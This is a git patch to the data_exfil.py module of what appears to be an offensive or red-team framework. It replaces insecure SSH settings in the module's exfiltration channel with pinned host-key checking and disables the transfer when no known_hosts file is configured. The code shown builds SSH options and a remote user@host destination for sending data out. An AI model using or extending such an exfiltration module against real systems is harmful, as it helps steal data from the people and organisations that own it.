From ae4933044b14d1953d78137c5b3be4f949595867 Mon Sep 17 00:00:00 2001 From: Cobra Date: Mon, 6 Apr 2026 11:39:11 -0400 Subject: [PATCH] Fix #209: Prevent SSH MITM in data_exfil.py exfiltration - Replace StrictHostKeyChecking=no with accept-new (verify on first connect) - Require ssh_known_hosts_file config key pointing to operator's known_hosts - Validate known_hosts file exists before attempting transfer - Fail explicitly if known_hosts not configured (prevents silent MITM vulnerability) - Uses -o UserKnownHostsFile=path to use pinned host keys --- modules/connectivity/data_exfil.py | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/modules/connectivity/data_exfil.py b/modules/connectivity/data_exfil.py index d07bc0d..2e32052 100644 --- a/modules/connectivity/data_exfil.py +++ b/modules/connectivity/data_exfil.py @@ -349,13 +349,25 @@ class DataExfil(BaseModule): remote_path = f"{self._remote_user}@{remote_host}:{self._remote_base}/" - # Build SSH options + # Build SSH options — use known_hosts for host key verification + exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {}) ssh_opts = [ - "-o", "StrictHostKeyChecking=no", - "-o", "UserKnownHostsFile=/dev/null", + "-o", "StrictHostKeyChecking=accept-new", # Accept only if not seen before "-o", "LogLevel=ERROR", "-o", "ConnectTimeout=10", ] + + # Use operator-provided known_hosts if available, else fail + known_hosts = exfil_cfg.get("ssh_known_hosts_file") + if known_hosts: + if not os.path.isfile(known_hosts): + raise FileNotFoundError(f"SSH known_hosts file not found: {known_hosts}") + ssh_opts.extend(["-o", f"UserKnownHostsFile={known_hosts}"]) + else: + # Fallback: require known_hosts to prevent MITM + logger.error("SSH known_hosts not configured — exfil disabled for MITM protection") + return False + if self._ssh_key: ssh_opts.extend(["-i", self._ssh_key])